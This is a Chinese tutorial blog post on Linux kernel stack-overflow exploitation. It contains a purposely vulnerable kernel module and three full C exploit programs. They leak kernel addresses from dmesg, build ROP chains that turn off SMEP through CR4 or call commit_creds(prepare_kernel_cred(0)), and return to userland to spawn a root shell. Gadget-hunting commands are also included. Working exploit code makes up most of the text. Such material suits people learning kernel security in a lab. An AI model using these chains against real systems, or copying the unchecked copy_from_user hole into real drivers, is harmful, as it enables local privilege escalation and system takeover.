pwnKernel从0开始(二)

前言

先尝试下最简单的栈溢出,保护和未被保护的情况

给出自己设计的栈溢出题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>

//设备驱动常用变量
static char *buffer_var;
static struct class *devClass; // Global variable for the device class
static struct cdev cdev;
static dev_t stack_dev_no;


static ssize_t stack_read(struct file *filp, char __user *buf, size_t count,
loff_t *f_pos);

static ssize_t stack_write(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos);

static long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);

// static int stack_open(struct inode *i, struct file *f)
// {
// printk(KERN_INFO "[i] Module vuln: open()\n");
// return 0;
// }

// static int stack_close(struct inode *i, struct file *f)
// {
// printk(KERN_INFO "[i] Module vuln: close()\n");
// return 0;
// }

static struct file_operations stack_fops =
{
.owner = THIS_MODULE,
// .open = stack_open,
// .release = stack_close,
.write = stack_write,
.read = stack_read
};

// 设备驱动模块加载函数
static int __init stack_init(void)
{
buffer_var=kmalloc(100,GFP_DMA);
printk(KERN_INFO "[i] Module stack registered");
if (alloc_chrdev_region(&stack_dev_no, 0, 1, "stack") < 0)
{
return -1;
}
if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)
{
unregister_chrdev_region(stack_dev_no, 1);
return -1;
}
if (device_create(devClass, NULL, stack_dev_no, NULL, "stack") == NULL)
{
printk(KERN_INFO "[i] Module stack error");
class_destroy(devClass);
unregister_chrdev_region(stack_dev_no, 1);
return -1;
}
cdev_init(&cdev, &stack_fops);
if (cdev_add(&cdev, stack_dev_no, 1) == -1)
{
device_destroy(devClass, stack_dev_no);
class_destroy(devClass);
unregister_chrdev_region(stack_dev_no, 1);
return -1;
}

printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(stack_dev_no), MINOR(stack_dev_no));
return 0;

}

// 设备驱动模块卸载函数
static void __exit stack_exit(void)
{
// 释放占用的设备号
unregister_chrdev_region(stack_dev_no, 1);
cdev_del(&cdev);
}


// 读设备
ssize_t stack_read(struct file *filp, char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "Stack_read function" );
if(strlen(buffer_var)>0) {
printk(KERN_INFO "[i] Module vuln read: %s\n", buffer_var);
kfree(buffer_var);
buffer_var=kmalloc(100,GFP_DMA);
return 0;
} else {
return 1;
}
}

// 写设备
ssize_t stack_write(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos)
{
printk(KERN_INFO "Stack_write function" );
char buffer[100]={0};
if (_copy_from_user(buffer, buf, len))
return -EFAULT;
buffer[len-1]='\0';
printk("[i] Module stack write: %s\n", buffer);
strncpy(buffer_var,buffer,len);
return len;
}



// ioctl函数命令控制
long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
switch (cmd) {
case 1:
break;
case 2:
break;
default:
// 不支持的命令
return -ENOTTY;
}
return 0;
}


module_init(stack_init);
module_exit(stack_exit);

MODULE_LICENSE("GPL");
// MODULE_AUTHOR("blackndoor");
// MODULE_DESCRIPTION("Module vuln overflow");

▲寻找gadget

ropper

1
ropper --file vmlinux --search "pop|ret"

这个比较慢,实在不推荐

objdump

1
objdump -d vmlinux -M intel | grep -E 'ret|pop'

这个比较快,不过查出来的gadget可能是不连续的,需要仔细辨别一下,必要时还需要Gdb调试进入vmlinux中进行汇编查询。比如查出来的类似如下

image-20210930111201257

可以看到pop rax下并没有ret,但是依然查找出来了,其中pop raxpop rbx不是连在一起的,用的时候注意辨别。

ROPgadget

依然可以用,但有时候可能比较慢,可以先保存下来,然后再找:

1
ROPgadget --binary vmlinux | grep "pop rdx ; ret"

一键获取

详见之前的项目中的getKernelROP命令,常用gadget,还是比较好用的

PIG-007/kernelAll (github.com)

PIG-007/kernelAll (gitee.com)

一、Stack被保护

这里的被保护指的是开启了SMEP,类似于NX的栈保护,即内核无法执行用户空间的代码。

方法一:

通过ROP来关闭掉smep保护,这样就可以进入内核之后启动用户空间我们自己构造的commit_creds(prepare_kernel_cred(0))来完成提权,之后再启一个shell即可获得提权之后的shell。

1.获取地址

由于read函数不太有什么地址的读取,所以这里利用dmesg来获取地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
unsigned long findAddr() {
char line[512];
char string[] = "Freeing SMP alternatives memory";
char found[17];
unsigned long addr=0;

/* execute dmesg and place result in a file */
printf("[+] Excecute dmesg...\n");
system("dmesg > /tmp/dmesg");
/* find: Freeing SMP alternatives memory*/
printf("[+] Find usefull addr...\n");

FILE* file = fopen("/tmp/dmesg", "r");

while (fgets(line, sizeof(line), file)) {
if(strstr(line,string)) {
strncpy(found,line+53,16);
sscanf(found,"%p",(void **)&addr);
break;
}
}
fclose(file);

if(addr==0) {
printf(" dmesg error...\n");
exit(1);
}
return addr;
}

//main函数中
unsigned long memOffset;
memOffset = findAddr();
unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
unsigned long getR = (unsigned long)getroot;
unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
unsigned long iretq = (unsigned long)memOffset-0x7AC289;
unsigned long sh = (unsigned long)shell;

dmesg是获取内核启动的日志相关信息,自己去尝试一下知道。

image-20210930112655023

2.关闭SMEP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned char payload[300] = {0};
unsigned char *p = payload;

/* pop rax;rbx;r12;rbp;ret;*/
unsigned long poprax = (unsigned long)memOffset-0xCB5B47;
memcpy(p,&poprax,8);
printf(" pop rax at 0x%lx\n", poprax);
p+=8;
memcpy(p,"\xf0\x06\x00\x00\x00\x00\x00\x00",8); /* SMEP OFF rax*/
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* rbx*/
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* r12 */
p+=8;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* rbp */
p+=8;

/* mov cr4, rax;rbp;ret */
unsigned long movcr4 = (unsigned long)memOffset-0x01020F1C;
memcpy(p,&movcr4,8);
printf(" mov CR4, RAX at 0x%lx\n", movcr4);
p+=8;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* rbp */
p+=8;

3.提权

1
2
3
4
5
6
7
8
9
/* function to get root id */
void getroot (void)
{
commit_creds(prepare_kernel_cred(0));
}

/* getroot */
memcpy(p,&getR,8);
p+=8;

4.返回用户空间起Shell

1
2
3
4
5
6
7
8
9
void shell(void) {
printf("[+] getuid() ...");
if(!getuid()) {
printf(" [root]\n[+] Enjoy your shell...\n");
system("/bin/sh");
} else {
printf("[+] not root\n[+] failed !!!\n");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
/* swapgs;ret           */
printf(" swapgs at 0x%lx\n", swapgs);
memcpy(p,&swapgs,8);
p+=8;

/* iretq */
printf(" iretq at 0x%lx\n", iretq);
memcpy(p,&iretq,8);
p+=8;

/* shell */
memcpy(p,&sh,8);
p+=8;

5.设置寄存器保存和恢复

进入内核空间ROP链前需要保存环境,从内核环境回到用户空间起shell之前需要恢复环境。

(1)保存环境

1
2
3
4
5
6
7
8
9
10
11
12
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
}

这个save_state函数在复制数据通过stack_write函数栈溢出进行ROP之前需要调用保存用户空间的环境。

(2)恢复环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* user_cs                        */
memcpy(p,&user_cs,8);
p+=8;

/* user_rflags */
memcpy(p,&user_rflags,8);
p+=8;

/*stack of userspace */
register unsigned long rsp asm("rsp");
unsigned long sp = (unsigned long)rsp;
memcpy(p,&sp,8);
p+=8;

/* user_ss */
memcpy(p,&user_ss,8);

这个都是放在ROP链中,放在shell之后。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>


struct cred;
struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
unsigned long stack;


unsigned long findAddr();
static void save_state();
void getroot (void);
void shell(void);


int main(int argc, char *argv[])
{
int fd;
unsigned char payload[300] = {0};
unsigned char *p = payload;
unsigned long memOffset;



memOffset = findAddr();
unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
unsigned long getR = (unsigned long)getroot;
unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
unsigned long iretq = (unsigned long)memOffset-0x7AC289;
unsigned long sh = (unsigned long)shell;

printf(" addr[0x%llx]\n", memOffset);

/* set value for commit_creds and prepare_kernel_cred */
commit_creds = (commit_creds_t)(memOffset - 0xfbf6a0);
prepare_kernel_cred = (prepare_kernel_cred_t)(memOffset - 0xfbf2e0);


/* open fd on /dev/vuln */
printf("[+] Open vuln device...\n");
if ((fd = open("/dev/stack", O_RDWR)) < 0) {
printf(" Can't open device file: /dev/stack\n");
exit(1);
}


/* payload */
printf("[+] Construct the payload...\n");
save_state();
/* offset before RIP */
memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
p+=116;

memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* for rbp */
p+=8;

/* pop rax;rbx;r12;rbp;ret */
memcpy(p,&pop_rax_rbx_r12_rbp_ret,8);
printf(" pop rax at 0x%lx\n", pop_rax_rbx_r12_rbp_ret);
p+=8;
memcpy(p,"\xf0\x06\x00\x00\x00\x00\x00\x00",8); /* SMEP OFF */
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* rbx*/
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* r12 */
p+=8;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* rbp */
p+=8;

/* mov cr4, rax;rbp;ret */
memcpy(p,&movCr4Rax_pop_rbp,8);
printf(" mov CR4, RAX at 0x%lx\n", movCr4Rax_pop_rbp);
p+=8;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* rbp */
p+=8;

/* getroot */
memcpy(p,&getR,8);
p+=8;

/* swapgs;ret */
printf(" swapgs at 0x%lx\n", swapgs);
memcpy(p,&swapgs,8);
p+=8;

/* iretq */
printf(" iretq at 0x%lx\n", iretq);
memcpy(p,&iretq,8);
p+=8;


/*
the stack should look like this after an iretq call
RIP
CS
EFLAGS
RSP
SS
*/


/* shell */
memcpy(p,&sh,8);
p+=8;

/* user_cs */
memcpy(p,&user_cs,8);
p+=8;
/* user_rflags */
memcpy(p,&user_rflags,8);
p+=8;
/*stack of userspace */
register unsigned long rsp asm("rsp");
unsigned long sp = (unsigned long)rsp;
memcpy(p,&sp,8);
p+=8;
/* user_ss */
memcpy(p,&user_ss,8);

/* trig the vuln */
printf("[+] Trig the vulnerablity...\n");
write(fd, payload, 300);


return 0;

}





unsigned long findAddr() {
char line[512];
char string[] = "Freeing SMP alternatives memory";
char found[17];
unsigned long addr=0;

/* execute dmesg and place result in a file */
printf("[+] Excecute dmesg...\n");
system("dmesg > /tmp/dmesg");

/* find: Freeing SMP alternatives memory */
printf("[+] Find usefull addr...\n");

FILE* file = fopen("/tmp/dmesg", "r");


while (fgets(line, sizeof(line), file)) {
if(strstr(line,string)) {
strncpy(found,line+53,16);
sscanf(found,"%p",(void **)&addr);
break;
}
}
fclose(file);

if(addr==0) {
printf(" dmesg error...\n");
exit(1);
}

return addr;
}

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
}


void shell(void) {
printf("[+] getuid() ...");
if(!getuid()) {
printf(" [root]\n[+] Enjoy your shell...\n");
system("/bin/sh");
} else {
printf("[+] not root\n[+] failed !!!\n");
}
}

/* function to get root id */
void getroot (void)
{
commit_creds(prepare_kernel_cred(0));
}

方法二:

直接在内核空间利用地址和gadget构造commit_creds(prepare_kernel_cred(0))来完成提权,之后返回用户空间起shell。

1.ROP链

1
2
3
4
5
6
7
8
9
10
11
pop rdi;ret
0
prepare_kernel_cred_k
pop rdx;rbx;rbp;ret
pop rbp;ret
0
rbp_data
mov rdi,rax;call rdx
commit_creds_k
swapgs;ret
iretq

之后就是返回用户空间起shell了

2.解析执行流程

▲先是调用prepare_kernel_cred_k(0),然后通过将pop rbp;ret赋值给rdx,之后mov rdi,rax,然后call rdx,即调用pop rbp;ret,之后ret即可回到commit_creds_k

这里较为麻烦的原因是因为mov rdi,rax;call rdx这个语句,需要赋值rdi才能进行commit_creds函数的执行,即将prepare_kernel_cred_k(0)返回值给commit_creds函数。

Snipaste_2021-09-30_19-56-10

赋值

Snipaste_2021-09-30_19-57-47

之后又因为存在call这个语句,所以多了pop rbp;ret来将栈平衡掉,,从而能够直接ret到commit_creds

Snipaste_2021-09-30_20-03-46

同样ha1vk师傅的利用jmp就比较简单,不过具体看gadget,有时候很难找。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>



unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
unsigned long stack;


unsigned long findAddr();
static void save_state();
void shell(void);


int main(int argc, char *argv[])
{
int fd;
unsigned char payload[300] = {0};
unsigned char *p = payload;
unsigned long memOffset;



memOffset = findAddr();
unsigned long pop_rdi_ret = memOffset - 0xD17AF3;
unsigned long pop_rdx_rbx_rbp_ret = (unsigned long)memOffset-0xCB43CD;
unsigned long pop_rbp_ret = memOffset - 0xCB43CB;
unsigned long movRdiRax_call_rdx = (unsigned long)memOffset-0xF8F3AA;
unsigned long prepare_kernel_cred_k = (unsigned long)memOffset-0xFBF2E0;
unsigned long commit_creds_k = (unsigned long)memOffset-0xFBF6A0;
unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
unsigned long iretq = (unsigned long)memOffset-0x7AC289;
unsigned long sh = (unsigned long)shell;




printf(" addr[0x%llx]\n", memOffset);

/* open fd on /dev/vuln */
printf("[+] Open vuln device...\n");
if ((fd = open("/dev/stack", O_RDWR)) < 0) {
printf(" Can't open device file: /dev/stack\n");
exit(1);
}


/* payload */
printf("[+] Construct the payload...\n");
save_state();
/* offset before RIP */
memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
p+=116;

memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* for rbp */
p+=8;


/*
pop rdi;ret ffffffff8131750d
0
prepare_kernel_cred_k_addr
pop rdx;rbx;rbp;ret 0xffffffff8137ac33
commit_creds_k_addr
mov rdi,rax;call rdx 0xffffffff8109fc56
swags; ....
pop rbp;ret; 0xffffffff8137ac35
0xdeadbeef
iretq; ....
shell;
CS
EFLAGS
RSP
SS
*/


/* pop rdi;ret */
printf(" pop rdi at 0x%lx\n", pop_rdi_ret);
memcpy(p,&pop_rdi_ret,8);
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); /* rbx*/
p+=8;

//prepare_kernel_cred_k
printf(" prepare_kernel_cred_k_addr at 0x%lx\n", prepare_kernel_cred_k);
memcpy(p,&prepare_kernel_cred_k,8);
p+=8;

//pop rdx;rbx;rbp;ret
printf(" pop_rdx_rbx_rbp_ret at 0x%lx\n", pop_rdx_rbx_rbp_ret);
memcpy(p,&pop_rdx_rbx_rbp_ret,8);
p+=8;


//pop rbp;ret
printf(" pop_rbp_ret at 0x%lx\n", pop_rbp_ret);
memcpy(p,&pop_rbp_ret,8);
p+=8;
memcpy(p,"\x00\x00\x00\x00\x00\x00\x00\x00",8); //rbx
p+=8;
memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); //rbp
p+=8;



//mov rdi,rax;call rdx
printf(" mov rdi,rax;call_rdx at 0x%lx\n", movRdiRax_call_rdx);
memcpy(p,&movRdiRax_call_rdx,8);
p+=8;

//commit_creds_k
printf(" commit_creds_k at 0x%lx\n", commit_creds_k);
memcpy(p,&commit_creds_k,8);
p+=8;

/* swapgs;ret */
printf(" swapgs at 0x%lx\n", swapgs);
memcpy(p,&swapgs,8);
p+=8;

/* iretq */
printf(" iretq at 0x%lx\n", iretq);
memcpy(p,&iretq,8);
p+=8;


/*
the stack should look like this after an iretq call
RIP
CS
EFLAGS
RSP
SS
*/


/* shell */
memcpy(p,&sh,8);
p+=8;

/* user_cs */
memcpy(p,&user_cs,8);
p+=8;
/* user_rflags */
memcpy(p,&user_rflags,8);
p+=8;
/*stack of userspace */
register unsigned long rsp asm("rsp");
unsigned long sp = (unsigned long)rsp;
memcpy(p,&sp,8);
p+=8;
/* user_ss */
memcpy(p,&user_ss,8);

/* trig the vuln */
printf("[+] Trig the vulnerablity...\n");
write(fd, payload, 300);


return 0;

}





unsigned long findAddr() {
char line[512];
char string[] = "Freeing SMP alternatives memory";
char found[17];
unsigned long addr=0;

/* execute dmesg and place result in a file */
printf("[+] Excecute dmesg...\n");
system("dmesg > /tmp/dmesg");

/* find: Freeing SMP alternatives memory */
printf("[+] Find usefull addr...\n");

FILE* file = fopen("/tmp/dmesg", "r");


while (fgets(line, sizeof(line), file)) {
if(strstr(line,string)) {
strncpy(found,line+53,16);
sscanf(found,"%p",(void **)&addr);
break;
}
}
fclose(file);

if(addr==0) {
printf(" dmesg error...\n");
exit(1);
}

return addr;
}

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
}

void shell(void) {
printf("[+] getuid() ...");
if(!getuid()) {
printf(" [root]\n[+] Enjoy your shell...\n");
system("/bin/sh");
} else {
printf("[+] not root\n[+] failed !!!\n");
}
}

(15条消息) linux kernel pwn学习之ROP_seaaseesa的博客-CSDN博客

二、Stack未被保护

解析

这个直接调用用户空间构造的commit_creds(prepare_kernel_cred(0))提权,然后直接原地起shell即可。相当于省去关闭smep保护的那段ROP链,直接getroot即可。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>


struct cred;
struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
unsigned long stack;


unsigned long findAddr();
static void save_state();
void getroot (void);
void shell(void);


int main(int argc, char *argv[])
{
int fd;
unsigned char payload[300] = {0};
unsigned char *p = payload;
unsigned long memOffset;



memOffset = findAddr();
unsigned long pop_rax_rbx_r12_rbp_ret = memOffset - 0xCB5B47;
unsigned long movCr4Rax_pop_rbp = (unsigned long)memOffset-0x01020F1C;
unsigned long getR = (unsigned long)getroot;
unsigned long swapgs = (unsigned long)memOffset-0x7AAE78;
unsigned long iretq = (unsigned long)memOffset-0x7AC289;
unsigned long sh = (unsigned long)shell;




printf(" addr[0x%llx]\n", memOffset);

/* set value for commit_creds and prepare_kernel_cred */
commit_creds = (commit_creds_t)(memOffset - 0xfbf6a0);
prepare_kernel_cred = (prepare_kernel_cred_t)(memOffset - 0xfbf2e0);


/* open fd on /dev/vuln */
printf("[+] Open vuln device...\n");
if ((fd = open("/dev/stack", O_RDWR)) < 0) {
printf(" Can't open device file: /dev/stack\n");
exit(1);
}


/* payload */
printf("[+] Construct the payload...\n");
save_state();
/* offset before RIP */
memcpy(p,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",116);
p+=116;

memcpy(p,"\x42\x42\x42\x42\x42\x42\x42\x42",8); /* for rbp */
p+=8;


/* getroot */
memcpy(p,&getR,8);
p+=8;

/* swapgs;ret */
printf(" swapgs at 0x%lx\n", swapgs);
memcpy(p,&swapgs,8);
p+=8;

/* iretq */
printf(" iretq at 0x%lx\n", iretq);
memcpy(p,&iretq,8);
p+=8;


/*
the stack should look like this after an iretq call
RIP
CS
EFLAGS
RSP
SS
*/


/* shell */
memcpy(p,&sh,8);
p+=8;



/* user_cs */
memcpy(p,&user_cs,8);
p+=8;
/* user_rflags */
memcpy(p,&user_rflags,8);
p+=8;
/*stack of userspace */
register unsigned long rsp asm("rsp");
unsigned long sp = (unsigned long)rsp;
memcpy(p,&sp,8);
p+=8;
/* user_ss */
memcpy(p,&user_ss,8);

/* trig the vuln */
printf("[+] Trig the vulnerablity...\n");
write(fd, payload, 300);


return 0;

}





unsigned long findAddr() {
char line[512];
char string[] = "Freeing SMP alternatives memory";
char found[17];
unsigned long addr=0;

/* execute dmesg and place result in a file */
printf("[+] Excecute dmesg...\n");
system("dmesg > /tmp/dmesg");

/* find: Freeing SMP alternatives memory */
printf("[+] Find usefull addr...\n");

FILE* file = fopen("/tmp/dmesg", "r");


while (fgets(line, sizeof(line), file)) {
if(strstr(line,string)) {
strncpy(found,line+53,16);
sscanf(found,"%p",(void **)&addr);
break;
}
}
fclose(file);

if(addr==0) {
printf(" dmesg error...\n");
exit(1);
}

return addr;
}

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
}

void shell(void) {
printf("[+] getuid() ...");
if(!getuid()) {
printf(" [root]\n[+] Enjoy your shell...\n");
system("/bin/sh");
} else {
printf("[+] not root\n[+] failed !!!\n");
}
}

/* function to get root id */
void getroot (void)
{
commit_creds(prepare_kernel_cred(0));
}




▲这里如果加了SMEP保护,那么就会出现下列的错误

1
unable to execute userspace code (SMEP?) (uid: 1000)

image-20211004100138854